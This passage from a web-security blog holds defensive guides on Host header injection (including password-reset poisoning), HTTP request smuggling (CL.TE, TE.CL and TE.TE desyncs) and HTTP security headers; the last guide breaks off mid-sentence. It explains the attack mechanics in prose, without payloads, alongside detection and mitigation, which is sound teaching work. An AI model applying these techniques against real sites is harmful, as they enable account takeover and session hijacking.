looks like plumbing, so it gets waved through, and then application logic leans on it for identity. Give your application a fixed sense of its own hostname, validate incoming hosts against an allowlist, and keep the Host out of your caches and your emails, and the attacker loses the lever entirely. To see how public-facing exploitation like this trends over time, cross-reference our Exploit Intelligence dashboard. ## A worked walkthrough of reset poisoning Tracing the reset-poisoning flow end to end shows how a routine feature becomes account takeover, without needing any invented incident. Consider an application with standard self-service password reset. A user enters their email, the server generates a single-use reset token tied to that account, and it sends an email containing a link the user clicks to set a new password. The flaw sits in how the server builds that link. It needs its own domain to form an absolute URL, and it reaches for a framework helper that returns the current host. That helper returns the value from the request's Host header, which the client set. On a normal request from a normal browser, the Host header names the real site, so the link looks correct and nobody notices where the domain came from. The attacker changes one thing. They know the victim's email address, which is often public. They submit the reset form on the victim's behalf, and in that request they set the Host header to a domain they own. The server does exactly what it always does: it generates a valid, single-use reset token for the victim's real account, builds the link using the host from the request, and emails it to the victim's real inbox. The email is genuine, sent by the real service, and it lands in the victim's mailbox where it is trusted. The link inside it points at the attacker's domain and carries the victim's live token as a parameter. If the victim clicks, their browser sends that token to the attacker's server, where the attacker reads it from the request log. The attacker then visits the real site, supplies the token, and sets a new password on the victim's account. The token was legitimate the entire time. The only thing the attacker controlled was the domain in the link, and they controlled it because the server asked the request what its own name was. This kind of internet-facing exploitation maps to MITRE ATT&CK Exploit Public-Facing Application, and the underlying weakness aligns with CWE-20, Improper Input Validation, applied to a header the application should never have trusted. Some variants skip the click. If a mail gateway or a link-preview bot fetches the URL to render a preview, the token can reach the attacker's server with no human action at all, which turns a phishing-shaped attack into a silent one. ## Detection signals Host header injection is testable by observation, and it is also detectable in production once you know what to watch. The signals split between request-side anomalies and content-side reflection. On the request side, log the effective host your application resolves for each request and compare it against your allowlist of real domains. Any request whose host is a domain you do not own is either a misrouted request or a probe, and a cluster of them against sensitive endpoints like password reset is a strong signal. Pay equal attention to the forwarding headers. Requests that carry `X-Forwarded-Host`, `X-Host`, or `X-Forwarded-Server` with a value different from the real Host, duplicate Host headers in a single request, or an absolute URL in the request line are all shapes an attacker uses to smuggle a second host past a naive check. On the content side, the tell is reflection. Watch for responses where an inbound host value appears in a `Location` redirect header, a canonical link tag, an absolute URL in the body, or an email your system generates. The highest-value monitor sits on the reset flow specifically: if the domain in an outbound reset email ever differs from your canonical base URL, something is deriving that link from the request, and that is the exact bug. | Signal | Where to look | What it suggests | |---|---|---| | Effective host outside your allowlist | Application request logs | A probe or misrouted request | | `X-Forwarded-Host` differing from Host | Proxy and app logs | Override-header smuggling | | Duplicate Host headers or absolute request line | Raw request capture | An attempt to bypass a single-header check | | Inbound host reflected in `Location` or body | Response inspection | Request-derived host reaching output | | Reset email domain differs from canonical | Outbound mail monitoring | Active reset poisoning | The clearest possible detection for the worst variant is watching what leaves your system. Assert that every password-reset and account-notification link uses your configured canonical domain. A single email whose link points elsewhere is a live account-takeover attempt in progress, and it is trivial to alert on because the correct value is a constant you control. ## How Host header injection compares to related bugs Several web bugs share the theme of a request-controlled value steering server behavior. Placing them side by side clarifies what is specific to the Host header. | Technique | Attacker-controlled input | Primary impact | Core fix | |---|---|---|---| | Host header injection | The Host or a forwarding header | Reset poisoning, cache poisoning | Derive identity from configuration | | Open redirect | A redirect target parameter | Sending users to an attacker site | Allowlist redirect destinations | | Web cache poisoning | Any unkeyed input reflected in a response | Poisoned response served to many | Key the cache on all reflected inputs | | Request smuggling | Ambiguous framing between proxy and server | Requests routed or split unexpectedly | Consistent request parsing | The connective tissue is that each treats an untrusted request value as authoritative for something it should not control. Host header injection is distinctive because the value it corrupts is the application's own identity, which then flows into links, emails, and cache entries. That is why the fix refuses to derive identity from the request at all rather than sanitizing the value. ## Common misconceptions **"Using the Host header for routing is dangerous."** Routing to the correct virtual host is a safe use, because the worst outcome of a wrong value is landing on the wrong site or an error page. The danger begins only when the header feeds content or logic: a link, a redirect, a cached response, or an internal request. Keeping those two uses separate is the whole reasoning. **"We validate the Host header, so we are covered."** Validating the Host header alone leaves the override headers open. Frameworks and proxies frequently prefer `X-Forwarded-Host` when it is present, so an app that checks Host and ignores the forwarding headers is still exploitable. You have to know the exact value your code trusts and control every input that can feed it. **"Only the login and reset pages matter."** Any generated absolute URL is a candidate, including email notifications, share links, webhooks that call back a URL, and canonical tags that affect how search engines and caches treat your pages. The audit question applies everywhere a link is built, across the whole application. **"HTTPS prevents this."** Transport encryption protects the header in transit and does nothing about the fact that the client set it. The Host header is attacker-controlled input regardless of whether the connection is encrypted, so HTTPS is unrelated to this class of bug. ## How the problem persists The Host header dates to the introduction of name-based virtual hosting, which let one server address serve many sites by reading the requested host from the request itself. That design is sound for routing, and it quietly created the assumption that the header names the site truthfully. Application frameworks then wrapped it in convenient helpers labeled as the current host, and developers reasonably used those helpers to build absolute URLs. The gap widened as reverse proxies and load balancers became standard. Those layers pass the host along and often add forwarding headers, so an application might read the original Host, a rewritten one, or an override header depending on configuration, and few teams map exactly which value their code ends up trusting. That ambiguity is what keeps the bug alive: the same helper can return a safe value in one deployment and an attacker-controlled one in another, purely because of proxy configuration. The defensive consensus that emerged is straightforward and stable. The application should decide its own identity from server-side configuration, validate incoming hosts against an allowlist, and keep the host out of caches and generated links. Teams that adopt that principle stop chasing individual reflections and close the class. ## Frequently asked questions **Is the Host header ever safe to use?** Yes, for choosing which virtual host serves a request. That use only decides which site to serve, and a wrong value lands on the wrong site or an error. The header becomes unsafe when its value flows into content or logic, such as a generated link, a redirect, a cached response, or an internal request. **Why does sanitizing the Host header not fix it?** Sanitizing is fragile because the framework may consult several headers and you have to control all of them, and because the safe value is something you already know: your own domain. Building links from a configured canonical base URL removes the need to trust or clean any request header. **Do I need to worry about this behind a reverse proxy?** Especially so. Proxies add forwarding headers that application code may prefer over the Host header, so a check on Host alone can be bypassed through `X-Forwarded-Host` and its relatives. Decide at the edge which forwarding headers you trust, strip the rest, and make sure the app cannot fall back to one you did not sanction. **How is this different from an open redirect?** An open redirect sends a user to an attacker destination through a redirect parameter. Host header injection corrupts the application's own sense of its domain, which then poisons links, emails, and cache entries. A Host-derived redirect is one overlap between the two, and the root causes differ. **What is the single most important fix?** Build every absolute URL, above all password-reset and email links, from a canonical base URL set in server-side configuration. That one rule closes the most severe outcome, reset poisoning, regardless of what any request header claims. **How do I keep a shared cache from spreading a poisoned response?** Ensure the cache includes the host in its cache key and does not store responses that reflect an unvalidated host. If the host is part of the key, a response crafted for an attacker-supplied host cannot be served back to visitors requesting the real host. ## Related guides - [Web Cache Poisoning Explained](/web-cache-poisoning-explained) - [Open Redirect Explained](/open-redirect-explained) - [HTTP Request Smuggling Explained](/http-request-smuggling-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - PortSwigger Web Security Academy: HTTP Host header attacks (PortSwigger): https://portswigger.net/web-security/host-header - OWASP: Testing for Host Header Injection (OWASP): https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection - MITRE ATT&CK: Exploit Public-Facing Application (T1190) (MITRE): https://attack.mitre.org/techniques/T1190/ --- ## HTTP Request Smuggling: Front-End/Back-End Desync > How HTTP request smuggling exploits parsing disagreements between front-end and back-end servers, the CL.TE and TE.CL variants, and how to defend. - URL: https://blog.pwnsy.com/http-request-smuggling-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: advanced - Category: web-security - Tags: request-smuggling, web-security, owasp, http, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - HTTP request smuggling exploits two servers on the same connection disagreeing about where one request ends and the next begins. - The disagreement usually comes from the Content-Length and Transfer-Encoding headers, giving the CL.TE, TE.CL, and TE.TE variants. - A smuggled request prefix attaches to the next user's request, letting an attacker poison responses, bypass front-end controls, capture requests, and hijack sessions. - The durable fix is to make front-end and back-end parse requests identically, reject ambiguous messages outright, and prefer HTTP/2 end to end. ### Key Takeaways - Request smuggling is a desync attack: the front-end forwards a byte stream the back-end splits differently, so a hidden second request appears. - CL.TE means the front-end trusts Content-Length while the back-end trusts Transfer-Encoding; TE.CL is the reverse; TE.TE relies on one server being tricked into ignoring an obfuscated Transfer-Encoding header. - Impact reaches other users because connections are reused, so a smuggled prefix lands on a victim's request rather than the attacker's. - It routinely bypasses front-end security controls, since the back-end processes a request the front-end never inspected. - HTTP/2 with strict downgrade handling, connection-per-request back ends, and rejecting conflicting length headers are the strongest defenses. Modern web traffic almost never reaches an application server directly. It passes through a chain: a CDN, a load balancer, a reverse proxy, then the origin. Each hop parses the HTTP request, decides what it means, and forwards it on. HTTP request smuggling is what happens when two hops in that chain read the same bytes and reach different conclusions about where one request ends and the next one starts. That small disagreement lets an attacker smuggle a hidden request past the front-end and have it attach to somebody else's traffic on the back-end. It is one of the more demanding web attacks to understand, because nothing is malformed in an obvious way. Every request involved is, on its own, valid HTTP. The vulnerability is in the seam between two parsers. ## Why the seam exists HTTP/1.1 has two ways to say how long a message body is. The `Content-Length` header gives an exact byte count. The `Transfer-Encoding: chunked` header says the body arrives in size-prefixed chunks and ends with a zero-size chunk. A well-behaved request uses one or the other. The specification says that if both are present, `Transfer-Encoding` wins and `Content-Length` must be ignored. The problem is that the two servers in front of your application may not agree on that rule, or may disagree about what counts as a valid header. When the front-end measures the body one way and the back-end measures it another, the front-end forwards a stream of bytes that the back-end splits at a different point. The leftover bytes, which the front-end thought were body, become the start of a brand new request the back-end will process on the same connection. ## The classic variants The variants are named for which header each server trusts. | Variant | Front-end uses | Back-end uses | Effect | |---|---|---|---| | CL.TE | Content-Length | Transfer-Encoding | Front-end forwards extra bytes the back-end reads as a new request | | TE.CL | Transfer-Encoding | Content-Length | Back-end stops early, leaving a smuggled prefix for the next request | | TE.TE | Transfer-Encoding (both) | Transfer-Encoding (both) | One server is tricked by an obfuscated TE header into ignoring it | In a **CL.TE** attack, the front-end honors `Content-Length` and passes the whole body along, while the back-end honors `Transfer-Encoding: chunked`, treats the body as ending at the zero-size chunk, and interprets whatever follows as the beginning of the next request. In a **TE.CL** attack the roles swap. In a **TE.TE** attack both servers in principle support chunked encoding, so the attacker obfuscates the `Transfer-Encoding` header (unusual whitespace, duplicate headers, odd casing) so that one server sees it and the other does not, recreating a CL.TE or TE.CL condition. The details differ, but the outcome is the same: bytes the front-end believed were part of request A are parsed by the back-end as the opening of request B. ## Why it harms other users A single smuggled request against your own connection would be a curiosity. The danger comes from connection reuse. Back-end connections are pooled and shared across many users to save the cost of setting up new ones. When an attacker smuggles a request prefix, that prefix sits at the front of the back-end's input buffer. The very next request that arrives on that connection, quite possibly a different user's, gets appended to the attacker's prefix. The victim's request is now prepended with attacker-controlled content. The defining feature of request smuggling is that the payload lands on someone else's request. Because back-end connections are shared, a smuggled prefix attaches to whichever user's request comes next. That is why the impact scales beyond the attacker's own session and why it is treated as a serious, systemic flaw rather than a self-inflicted one. ## What an attacker gains - **Bypassing front-end security controls.** The front-end often enforces access rules, blocks certain paths, or filters requests. A smuggled request reaches the back-end without ever being seen by the front-end, so its controls do not apply. An attacker can reach restricted endpoints the front-end would have blocked. - **Response queue poisoning and capturing requests.** By desyncing the connection, an attacker can cause responses to be served to the wrong requests, capturing another user's request (including their headers and session cookies) or serving them an attacker-influenced response. - **Session hijacking.** Captured requests can carry session tokens, and a poisoned response queue can deliver a victim content that leaks or fixes their session. - **Feeding web cache poisoning.** A smuggled request can steer what a shared cache stores against a normal URL, turning a one-shot desync into a persistent bad response served to many users. - **Credential and data exposure.** Where full requests are captured, anything in them (auth headers, form data, tokens) is exposed to the attacker. ## Why it is hard to spot Every request in a smuggling attack is individually well-formed. Logs on either server show valid HTTP. The symptom is behavioral: intermittent wrong responses, requests that seem to belong to another user, an endpoint that occasionally returns something it should not. Detection typically relies on carefully timed probes that measure whether the back-end waited for bytes that never came, which is why the attack was underappreciated for years before systematic techniques for finding it were published. ## How to defend against request smuggling The root cause is ambiguity, so every effective control removes ambiguity or removes the chance for two parsers to disagree. 1. **Make the front-end normalize and reject ambiguity.** Configure the front-end to reject any request that carries both `Content-Length` and `Transfer-Encoding`, or that carries a malformed or duplicated `Transfer-Encoding`. If the message is ambiguous, the correct response is to refuse it, not to guess. 2. **Use the same server software and parsing rules end to end where practical.** Two hops that share a parser cannot disagree about where a request ends. Where you cannot unify them, verify that they resolve the length headers identically. 3. **Prefer HTTP/2 all the way to the origin.** HTTP/2 carries body length in the protocol framing rather than in ambiguous headers, which removes the CL-versus-TE conflict. The catch is downgrading: a front-end that speaks HTTP/2 to clients but HTTP/1.1 to the back-end can reintroduce the flaw during translation, so the downgrade path must be strict and must not forward attacker-supplied length headers. 4. **Disable connection reuse to the back-end where the risk warrants it.** Using a fresh back-end connection per client request removes the shared buffer that lets a smuggled prefix reach another user. It costs performance, so weigh it against the exposure. 5. **Keep front-end and back-end software patched.** Many smuggling issues are fixed in specific proxy and server releases. Running current versions closes known parsing discrepancies. 6. **Monitor for desync symptoms.** Watch for responses served against the wrong request, unexplained cross-user data, and the timing signatures of desync probes. The single most important mindset is that ambiguous requests must be rejected, not interpreted. Every smuggling variant depends on two servers each making a reasonable-but-different guess about a message that should never have been accepted. A front-end that returns an error the moment length headers conflict denies the attacker the disagreement the whole attack is built on. ## A CL.TE desync, walked through To make the abstraction concrete, trace what the bytes do in a CL.TE case, where the front-end trusts `Content-Length` and the back-end trusts `Transfer-Encoding`. The attacker sends a single request whose headers include both a `Content-Length` and a `Transfer-Encoding: chunked`. The body is crafted so that, read as chunked, it terminates early at a zero-size chunk, with extra bytes sitting after that terminator. The front-end reads `Content-Length`, sees a body of the stated size, and forwards the entire thing, headers and full body, to the back-end as one request. So far nothing looks wrong. The back-end then reads the same bytes, but it honours `Transfer-Encoding: chunked`. It consumes chunks until it hits the zero-size chunk that marks the end of the body, and it considers the request complete at that point. The bytes the attacker placed after the terminator were, to the back-end, never part of this request. They stay in the connection's input buffer as the beginning of the next request. Now the timing matters. The back-end connection is pooled and will serve another request soon. When the next request arrives, whether the attacker's follow-up or a different user's, the back-end prepends the leftover smuggled bytes to it. If the smuggled prefix was a partial request line and headers, the victim's request gets folded into it: the victim's own request line might become a header value, or their session cookie might land inside a body the attacker later reads back. The attacker never touched the victim directly. They simply left bytes in a shared buffer that the victim's request completed. A TE.CL case runs the mirror image. The front-end honours chunked encoding and forwards what it sees as a complete chunked body, while the back-end honours `Content-Length` and stops reading at the stated count, leaving the remainder as a new request. TE.TE reaches either of these conditions by obfuscating the `Transfer-Encoding` header so that exactly one of the two servers fails to recognise it as chunked, which collapses the case back to CL.TE or TE.CL. ## Detection signals Because every individual request is valid, smuggling shows up in behaviour and timing more than in any single malformed message. Concrete signals worth watching for: - **Responses that do not match the request that received them.** A client getting content clearly meant for someone else, or an endpoint returning a body that belongs to a different URL, is the classic symptom of a poisoned response queue. - **Timing anomalies on crafted probes.** A common way to confirm a desync is to send a request whose smuggled portion makes the back-end wait for bytes that never arrive. A response that hangs for a fixed timeout on a specific crafted request, while a control request returns immediately, indicates the back-end parsed a length the front-end did not. - **Header values that contain fragments of a request line.** In logs, a header whose value starts with something like a method and path, or a request whose path field carries trailing header-looking text, can be the fingerprint of one request folded into another. - **Cross-user data appearing where it should not.** Session identifiers, cookies, or authenticated content surfacing in the wrong session point at capture through a shared connection. - **Front-end and back-end request counts drifting apart.** When one request on the wire becomes two on the back-end, aggregate counts diverge over time. A back-end that logs more requests than the front-end forwarded is a structural indicator. - **Access to endpoints the front-end should have blocked.** A back-end log showing successful requests to a path the front-end is configured to reject suggests those requests bypassed the front-end by being smuggled inside another. The timing-based probes that confirm a desync will, if the condition exists, interfere with other users on the shared connection. Run smuggling tests against systems you own or are explicitly authorised to assess, in a controlled window, and prefer techniques that detect the desync without poisoning live traffic. This is a class of finding where careless probing can itself cause an incident. ## How smuggling compares to related desync and injection flaws Request smuggling is one member of a family of attacks that exploit disagreements about the meaning of a message. Placing it next to its neighbours clarifies what is distinct about it. | Technique | Root cause | Who is harmed | Typical fix | |---|---|---|---| | HTTP request smuggling | Two servers disagree on where a request ends | Other users of a shared back-end connection | Reject ambiguous length headers, unify parsing | | Web cache poisoning | A cache keys on the wrong parts of a request | Everyone served the poisoned cache entry | Correct cache keys, sanitise unkeyed input | | Host header injection | The app trusts an attacker-set Host value | Users of features built from the Host | Validate Host against an allowlist | | Response splitting | Attacker-controlled data injected into response headers | Users receiving the split response | Strip carriage returns and line feeds from header data | | Parameter pollution | Duplicate parameters parsed differently by layers | The application logic that reads them | Canonicalise parameters before use | The through-line is inconsistent interpretation, which is exactly why smuggling is catalogued as [CWE-444: Inconsistent Interpretation of HTTP Requests](https://cwe.mitre.org/data/definitions/444.html). Smuggling is the sharpest of these because the disagreement is about message boundaries themselves, and because connection reuse carries the consequence onto other users. Cache poisoning frequently sits downstream of it: a smuggled request is one of the cleaner ways to plant a malicious entry that a shared cache then serves to many, which links the two techniques in practice. ## Common mistakes and misconceptions Teams reasoning about smuggling tend to trip on a handful of points. - **"Our WAF inspects every request, so we are covered."** A front-end security device only inspects what it parses as a request. The smuggled request is hidden inside the body of a message the device already passed, so it reaches the back-end without inspection. Filtering the visible request does nothing for the one concealed in it. - **"HTTP/2 makes us immune."** HTTP/2 removes the CL-versus-TE ambiguity when it is spoken end to end, because length lives in the protocol framing. The common deployment terminates HTTP/2 at the front-end and speaks HTTP/1.1 to the back-end. That downgrade step re-serialises the request and can reintroduce the exact ambiguity, sometimes carrying attacker-supplied length headers straight into the HTTP/1.1 message. - **"Only the attacker's own traffic is at risk."** The defining trait of smuggling is that the payload lands on the next request over a shared connection, which is very often a different user. This is why it is rated as a serious systemic flaw rather than a self-contained one. - **"The requests are malformed, so strict parsing already rejects them."** Each request is individually well-formed. The flaw is the disagreement between two conforming-looking interpretations, which is why simply validating each message in isolation misses it. The fix is to reject the specific ambiguity of conflicting or duplicated length headers. - **"Turning off keep-alive to the back-end fixes everything."** Using a fresh back-end connection per request removes the shared buffer that carries the prefix to another user, which is a strong mitigation. It does not remove the underlying parsing disagreement, and it carries a real performance cost, so it is a control to weigh rather than a complete cure. ## How the attack came into focus Boundary confusion in HTTP is an old idea, and the conflict between `Content-Length` and `Transfer-Encoding` was understood in principle for a long time before it was treated as a front-line risk. For years it was seen as a curiosity, partly because reliably finding the condition across real proxy chains was awkward and partly because every request involved looks valid in isolation. The turning point was the publication of systematic detection techniques, especially timing-based methods that let a tester confirm a desync without needing to see both servers' internals. That work turned a theoretical parsing disagreement into a repeatable, high-impact finding, and it reframed the humble length headers as an attack surface. The move toward HTTP/2 changed the terrain again, closing the classic ambiguity for connections that speak it end to end while opening a fresh seam at the downgrade boundary where HTTP/2 is translated back to HTTP/1.1. The core lesson held throughout: wherever two parsers can disagree about the shape of a message, someone will build an attack in the gap. ## Frequently asked questions **What is the difference between request smuggling and response splitting?** Response splitting injects carriage-return and line-feed sequences into data that ends up in a response, tricking a client or cache into seeing two responses where the server sent one. Request smuggling works on the request side, exploiting a length disagreement between two servers so that one request on the wire is parsed as two by the back-end. Both are boundary-confusion attacks, but they operate on opposite halves of the exchange. **Does HTTP/2 fully eliminate request smuggling?** It eliminates the classic Content-Length versus Transfer-Encoding ambiguity when HTTP/2 is spoken from the client all the way to the origin, because message length is carried in the protocol framing. Most real deployments downgrade to HTTP/1.1 somewhere behind the front-end, and that translation can reintroduce the flaw. HTTP/2 is a strong control when it is end to end and when the downgrade path is strict about not forwarding attacker-supplied length headers. **Why is smuggling considered high severity if each request is valid?** Because the consequence lands on other users. Connection reuse means a smuggled prefix attaches to whichever request comes next on that shared back-end connection, letting an attacker capture another user's request, bypass front-end controls, or poison a shared cache. The individual validity of each request is precisely what lets it slip past inspection. **Can a web application firewall stop request smuggling?** Only partly, and not by inspection alone. The smuggled request is concealed inside the body of a message the firewall already accepted, so content filtering does not see it. A front-end can help by rejecting the ambiguity that enables the attack, refusing any request that carries both length headers or a malformed Transfer-Encoding, which is a configuration decision rather than a signature match. **What is the single most effective fix?** Make the front-end reject ambiguous messages outright. If a request carries both `Content-Length` and `Transfer-Encoding`, or a duplicated or malformed `Transfer-Encoding`, the correct response is an error, not a best-effort interpretation. Removing the ambiguity denies every variant the disagreement it depends on. Unifying the parsing behaviour of the two servers, and moving to HTTP/2 end to end, reinforce that. **How do I safely test for it?** Test only systems you own or are explicitly authorised to assess. Prefer detection methods that confirm a desync through timing without poisoning live traffic, run them in a controlled window, and be aware that a genuine desync condition can affect other users of the shared connection. Because of that blast radius, smuggling tests warrant more caution than most web-app probes. **Is disabling keep-alive to the back-end a real fix?** It is a meaningful mitigation because a fresh connection per request removes the shared buffer that carries a smuggled prefix onto another user. It does not remove the parsing disagreement itself, and it adds connection-setup overhead that can hurt performance under load. Treat it as one control to weigh against exposure alongside rejecting ambiguity and unifying parsers. Request smuggling is subtle because it hides in the gap between valid parsers, and it is severe because that gap lets one user's crafted bytes ride into another user's request. Attackers probe proxy chains for exactly these desync conditions. Our Exploit Intelligence dashboard tracks how such infrastructure-level techniques show up in active exploitation. Unify your parsing, reject ambiguous messages outright, and move to HTTP/2 end to end with a disciplined downgrade path, and the seam the attack depends on closes. ## Related guides - [Web Cache Poisoning Explained](/web-cache-poisoning-explained) - [Host Header Injection Explained](/host-header-injection-explained) - [Session Hijacking Explained](/session-hijacking-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - PortSwigger Web Security Academy: HTTP request smuggling (PortSwigger): https://portswigger.net/web-security/request-smuggling - OWASP: HTTP Request Smuggling (OWASP): https://owasp.org/www-community/attacks/HTTP_Request_Smuggling - MITRE CWE-444: Inconsistent Interpretation of HTTP Requests (HTTP Request Smuggling) (MITRE): https://cwe.mitre.org/data/definitions/444.html --- ## HTTP Security Headers: What Each Does & the Value to Set > A defensive reference to HTTP security response headers: what each one does, a recommended value, and the attack it mitigates, from CSP to Cache-Control. - URL: https://blog.pwnsy.com/http-security-headers-reference - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: web-security, http-headers, csp, hardening, owasp - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - HTTP security headers are response headers a server sends to instruct the browser to enforce protections like content-loading rules, HTTPS-only access, and framing restrictions. - They are defense in depth: a strong Content-Security-Policy limits the damage of an XSS bug, and HSTS closes the downgrade window even if a user types http first. - No single header is a fix on its own, and several have subtle values, so the recommended settings below are safe starting points to test against your own app. - The highest-impact headers for most sites are Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, and a framing control (X-Frame-Options or CSP frame-ancestors). ### Key Takeaways - Content-Security-Policy is the most powerful and the most complex header: it controls which sources of script, style, and other content the browser will load, and it is the main structural defense against cross-site scripting. - Strict-Transport-Security (HSTS) forces HTTPS for a set duration and defeats SSL-stripping downgrade attacks, but preloading is a long-term commitment. - X-Content-Type-Options: nosniff stops MIME sniffing, and a framing control (X-Frame-Options DENY or CSP frame-ancestors) stops clickjacking. - The Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy headers isolate your page from cross-origin attacks like Spectre-style leaks. - Sensitive pages need Cache-Control: no-store so authenticated content is never written to shared or browser caches. A web server can tell the browser how to behave. HTTP security headers are the response headers that carry those instructions: load scripts only from here, never speak plain HTTP again, do not let another site frame this page. The browser enforces them, which makes headers a cheap and durable layer of defense that sits in front of your application logic. This is a reference for the headers worth setting and the value to start from. Treat the recommended values as safe defaults to test, since a policy that is too strict can break a working site and one that is too loose does nothing. The point is to know what each header buys you and where it fits. ## The core security response headers Header names are exact and case-insensitive on the wire. The recommended value is a sound starting point; tune it to your application. | Header | What it does | Recommended value | Attack it mitigates | |---|---|---|---| | `Content-Security-Policy` | Controls which origins the browser may load script, style, images, frames, and other content from | `default-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'self'` | Cross-site scripting (XSS), data injection, clickjacking | | `Strict-Transport-Security` | Forces HTTPS for the whole domain for a set duration | `max-age=31536000; includeSubDomains` | SSL stripping, protocol downgrade, cookie theft on http | | `X-Content-Type-Options` | Tells the browser not to guess (sniff) a response's content type | `nosniff` | MIME confusion attacks, drive-by execution of uploaded files | | `X-Frame-Options` | Legacy control on whether the page may be framed | `DENY` | Clickjacking (superseded by CSP `frame-ancestors`) | | `Referrer-Policy` | Controls how much of the URL is sent in the `Referer` header | `strict-origin-when-cross-origin` | Leakage of sensitive paths and tokens to third parties | | `Permissions-Policy` | Allows or denies browser features (camera, geolocation, microphone) per origin | `geolocation=(), camera=(), microphone=()` | Abuse of powerful device APIs by injected or third-party code | | `Cross-Origin-Opener-Policy` | Isolates your browsing context from cross-origin windows | `same-origin` | Cross-window attacks, Spectre-style side channels | | `Cross-Origin-Embedder-Policy` | Requires cross-origin resources to explicitly opt in | `require-corp` | Cross-origin data leaks, enables cross-origin isolation | | `Cross-Origin-Resource-Policy` | Limits which origins may embed a given resource | `same-origin` | Cross-origin resource theft and side-channel reads | | `Cache-Control` | Controls whether and where a response may be cached | `no-store` (on sensitive pages) | Sensitive data left in browser or shared caches | The first four rows carry most of the value for most sites. Content-Security-Policy and a framing control together blunt the two most common client-side attacks, HSTS locks the transport, and `nosniff` removes a whole class of content-type tricks. ## Content-Security-Policy in more depth CSP is the header with the most leverage and the most ways to get wrong. It works by listing allowed sources per content type through directives. | Directive | Purpose | Example | |---|---|---| | `default-src` | Fallback source list for content types not named explicitly | `default-src 'self'` | | `script-src` | Where scripts may load from | `script-src 'self'` | | `style-src` | Where stylesheets may load from | `style-src 'self'` | | `img-src` | Where images may load from | `img-src 'self' data:` | | `connect-src` | Endpoints for fetch, XHR, and WebSocket | `connect-src 'self'` | | `object-src` | Sources for plugins, usually disabled | `object-src 'none'` | | `frame-ancestors` | Who may frame this page, the modern clickjacking control | `frame-ancestors 'none'` | | `base-uri` | Restricts the `base` tag to stop base-tag injection | `base-uri 'self'` | The strongest CSPs avoid `'unsafe-inline'` and `'unsafe-eval'` for scripts, using nonces or hashes instead so that only your own vetted scripts run. That is what turns CSP from a checkbox into a real barrier against injected script. Roll it out in report-only mode first, watch the violation reports, then enforce. Deploy a new Content-Security-Policy with the `Content-Security-Policy-Report-Only` header first. The browser reports what the policy would have blocked without breaking the page. Read those reports for a week, fix the legitimate sources, and only then switch to the enforcing header. Shipping a strict CSP straight to production is the fastest way to take your own site down. ## Headers, file uploads, and content types The `X-Content-Type-Options: nosniff` header matters most where a site serves user-supplied files. Without it, a browser may sniff an uploaded file as HTML or script and execute it, turning a file upload into stored XSS. This is where header defense meets file-format defense: the content type you declare has to match what the file actually is, and the browser has to be told to trust that declaration. The safe pattern is to serve untrusted uploads from a separate origin, with `nosniff`, a restrictive `Content-Security-Policy`, and a `Content-Disposition: attachment` header so the browser downloads rather than renders them. Which formats can be smuggled through a permissive content-type handler is catalogued in our File-Format Abuse Atlas, which maps formats like SVG and HTML that execute script when a browser is tricked into rendering them. ## The cross-origin isolation trio The three `Cross-Origin-*` headers work together to put your page in an isolated context, which browsers require before granting access to high-precision timers and shared memory. More practically, they stop a range of cross-origin leaks: - `Cross-Origin-Opener-Policy: same-origin` severs the link between your window and any cross-origin page that opened it or that you open. - `Cross-Origin-Embedder-Policy: require-corp` forces every cross-origin resource to opt in, so nothing loads by accident. - `Cross-Origin-Resource-Policy: same-origin` stops other sites embedding your resources and reading them through side channels. Set these where you handle sensitive data or need cross-origin isolation. On simpler sites they are lower priority than the core four, but they cost little to add. ## How to use this reference 1. **Start with the core four.** Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, and a framing control give you the most protection per line of config. 2. **Roll out CSP in report-only mode.** Watch the violation reports, tune the sources, then enforce. Never ship a strict policy blind. 3. **Match headers to page sensitivity.** Authenticated and sensitive pages need `Cache-Control: no-store` so their content never lands in a shared cache. 4. **Test the deployed headers.** Use a scanner or the OWASP Secure Headers guidance to confirm what the server actually sends, since a header set in code but stripped by a proxy protects nothing. 5. **Treat headers as one layer.** They reduce the blast radius of application bugs; they do not replace fixing the bugs. Security headers are among the cheapest defenses you can deploy: a few lines of server configuration that the browser then enforces on every request. Get the core set right, roll CSP out carefully, and you close off whole categories of client-side attack before your application code ever runs. ## Strict-Transport-Security in more depth HSTS deserves a closer look because its value comes from a small mechanism with a large consequence, and because its main risk is operational rather than security. The header tells the browser to only ever contact this host over HTTPS for the duration set in `max-age`. Once a browser has seen it, a user who types the bare hostname, follows an `http` link, or is redirected to `http` never actually sends that plaintext request. The browser rewrites it to HTTPS internally before anything leaves the machine. That closes the small window an attacker on the network otherwise uses to intercept the first plaintext request and strip the connection down, the classic downgrade attack. Three parts of the header matter. The `max-age` value, in seconds, sets how long the browser remembers the rule, and a year is a common production value. The `includeSubDomains` directive extends the rule to every subdomain, which is powerful and requires that every subdomain genuinely serve HTTPS, since any that cannot will become unreachable. The `preload` directive is a commitment of a different order. It asks to be baked into browsers' built-in preload lists, so that even a first-ever visit is forced to HTTPS with no prior header exchange. Preloading works, and it is hard to reverse quickly, so it is a decision to make only when you are confident every current and future subdomain will support HTTPS indefinitely. Adding your domain to the HSTS preload list forces HTTPS for every visitor, including first-time ones, and removal propagates through browser releases slowly. Do not preload until every subdomain reliably serves HTTPS and you intend to keep it that way. Start with a long max-age and includeSubDomains, confirm nothing breaks over weeks, and only then consider 